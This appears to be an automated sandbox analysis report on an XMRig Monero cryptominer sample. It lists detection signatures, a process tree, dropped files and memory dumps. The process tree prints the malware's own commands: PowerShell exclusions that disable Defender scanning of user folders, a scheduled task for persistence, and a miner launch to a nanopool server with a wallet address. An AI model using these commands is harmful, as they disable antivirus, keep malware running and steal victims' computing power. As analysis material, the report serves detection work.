Analysis
- max time kernel
85s - max time network
153s - platform
windows7_x64 - resource
win7-20220812-en - resource tags
- submitted
15/12/2022, 11:41
General
- Target file.exe
- Size 2.4MB
- Sample221215-ntewrsfc5x
- SHA256 e21f0408d6d6df3b8d1eeec2fcd9c73465a6b7fbd270492cd8811a2da28bc46d
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 4 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 8 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 42 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpF92E.tmp.bat""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
-
-
C:\ProgramData\common\JTPFKOXW.exe"C:\ProgramData\common\JTPFKOXW.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
JTPFKOXW.exe
JTPFKOXW.exe
tmpF92E.tmp.bat
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
JTPFKOXW.exe
memory/792-137-0x00000000023A4000-0x00000000023A7000-memory.dmp
memory/792-123-0x00000000023A4000-0x00000000023A7000-memory.dmp
memory/792-132-0x00000000023AB000-0x00000000023CA000-memory.dmp
memory/792-121-0x000007FEF25D0000-0x000007FEF312D000-memory.dmp
memory/792-138-0x00000000023AB000-0x00000000023CA000-memory.dmp
memory/792-119-0x000007FEED780000-0x000007FEEE1A3000-memory.dmp
memory/1196-118-0x000007FEED780000-0x000007FEEE1A3000-memory.dmp
memory/1196-146-0x0000000002364000-0x0000000002367000-memory.dmp
memory/1196-128-0x000007FEF25D0000-0x000007FEF312D000-memory.dmp
memory/1196-126-0x0000000002364000-0x0000000002367000-memory.dmp
memory/1196-154-0x000000000236B000-0x000000000238A000-memory.dmp
memory/1196-153-0x0000000002364000-0x0000000002367000-memory.dmp
memory/1252-131-0x000000001B750000-0x000000001BA4F000-memory.dmp
memory/1252-127-0x000007FEF25D0000-0x000007FEF312D000-memory.dmp
memory/1252-149-0x00000000027B4000-0x00000000027B7000-memory.dmp
memory/1252-151-0x00000000027BB000-0x00000000027DA000-memory.dmp
memory/1252-145-0x00000000027B4000-0x00000000027B7000-memory.dmp
memory/1252-78-0x000007FEED780000-0x000007FEEE1A3000-memory.dmp
memory/1252-125-0x00000000027B4000-0x00000000027B7000-memory.dmp
memory/1548-136-0x000000000297B000-0x000000000299A000-memory.dmp
memory/1548-77-0x000007FEED780000-0x000007FEEE1A3000-memory.dmp
memory/1548-134-0x000000000297B000-0x000000000299A000-memory.dmp
memory/1548-135-0x0000000002974000-0x0000000002977000-memory.dmp
memory/1548-122-0x000007FEF25D0000-0x000007FEF312D000-memory.dmp
memory/1548-124-0x0000000002974000-0x0000000002977000-memory.dmp
memory/1548-74-0x000007FEFBE11000-0x000007FEFBE13000-memory.dmp
memory/1560-152-0x000007FEFC9F0000-0x000007FEFCA4B000-memory.dmp
memory/1560-120-0x000007FEFDD40000-0x000007FEFDD5F000-memory.dmp
memory/1560-101-0x000007FEFEBE0000-0x000007FEFED0D000-memory.dmp
memory/1560-102-0x000007FEFF520000-0x000007FEFF723000-memory.dmp
memory/1560-103-0x0000000000A60000-0x0000000000D22000-memory.dmp
memory/1560-105-0x0000000000A60000-0x0000000000D22000-memory.dmp
memory/1560-106-0x00000000000E0000-0x0000000000121000-memory.dmp
memory/1560-91-0x000007FEF6C60000-0x000007FEF6CFC000-memory.dmp
memory/1560-90-0x000007FEF7160000-0x000007FEF71CF000-memory.dmp
memory/1560-92-0x000007FEFF830000-0x000007FEFF897000-memory.dmp
memory/1560-133-0x000007FEFCBD0000-0x000007FEFCBE7000-memory.dmp
memory/1560-150-0x000007FEFD700000-0x000007FEFD736000-memory.dmp
memory/1560-111-0x000007FEFB930000-0x000007FEFBB45000-memory.dmp
memory/1560-117-0x000007FEFD7F0000-0x000007FEFD8C7000-memory.dmp
memory/1560-100-0x000007FEF5300000-0x000007FEF5CEC000-memory.dmp
memory/1560-148-0x000007FEFB010000-0x000007FEFB037000-memory.dmp
memory/1560-99-0x000007FEFED20000-0x000007FEFEDFB000-memory.dmp
memory/1560-98-0x000007FEF6920000-0x000007FEF6A17000-memory.dmp
memory/1560-97-0x000007FEFD770000-0x000007FEFD7E1000-memory.dmp
memory/1560-147-0x000007FEFD1A0000-0x000007FEFD1C5000-memory.dmp
memory/1560-96-0x000007FEFD5A0000-0x000007FEFD60C000-memory.dmp
memory/1560-144-0x000007FEFA5E0000-0x000007FEFA651000-memory.dmp
memory/1560-143-0x000007FEFA570000-0x000007FEFA5D4000-memory.dmp
memory/1560-129-0x0000000000A60000-0x0000000000D22000-memory.dmp
memory/1560-95-0x0000000077370000-0x000000007748F000-memory.dmp
memory/1560-142-0x000007FEFF290000-0x000007FEFF2DD000-memory.dmp
memory/1560-141-0x000007FEF1250000-0x000007FEF12B2000-memory.dmp
memory/1560-140-0x000007FEFA7B0000-0x000007FEFA7CC000-memory.dmp
memory/1560-94-0x000007FEFF790000-0x000007FEFF82F000-memory.dmp
memory/1560-130-0x000007FEFCD20000-0x000007FEFCD42000-memory.dmp
memory/1560-93-0x0000000077490000-0x000000007758A000-memory.dmp
memory/1652-84-0x00000000005E0000-0x0000000000621000-memory.dmp
memory/1652-59-0x000007FEFF790000-0x000007FEFF82F000-memory.dmp
memory/1652-63-0x000007FEF6B60000-0x000007FEF6C57000-memory.dmp
memory/1652-55-0x000007FEF7160000-0x000007FEF71CF000-memory.dmp
memory/1652-65-0x000007FEF5CF0000-0x000007FEF66DC000-memory.dmp
memory/1652-66-0x000007FEFEBE0000-0x000007FEFED0D000-memory.dmp
memory/1652-68-0x00000000009E0000-0x0000000000CA2000-memory.dmp
memory/1652-69-0x00000000005E0000-0x0000000000621000-memory.dmp
memory/1652-67-0x000007FEFF520000-0x000007FEFF723000-memory.dmp
memory/1652-62-0x000007FEFD770000-0x000007FEFD7E1000-memory.dmp
memory/1652-61-0x000007FEFD5A0000-0x000007FEFD60C000-memory.dmp
memory/1652-70-0x00000000009E0000-0x0000000000CA2000-memory.dmp
memory/1652-60-0x0000000077370000-0x000000007748F000-memory.dmp
memory/1652-71-0x000007FEF68F0000-0x000007FEF6A1C000-memory.dmp
memory/1652-56-0x000007FEF6C60000-0x000007FEF6CFC000-memory.dmp
memory/1652-64-0x000007FEFED20000-0x000007FEFEDFB000-memory.dmp
memory/1652-58-0x0000000077490000-0x000000007758A000-memory.dmp
memory/1652-82-0x000007FEFDD40000-0x000007FEFDD5F000-memory.dmp
memory/1652-83-0x00000000009E0000-0x0000000000CA2000-memory.dmp
memory/1652-57-0x000007FEFF830000-0x000007FEFF897000-memory.dmp
memory/1756-155-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1756-156-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1756-158-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1756-160-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1756-179-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1756-180-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1756-181-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1756-182-0x0000000000000000-0x0000000001000000-memory.dmp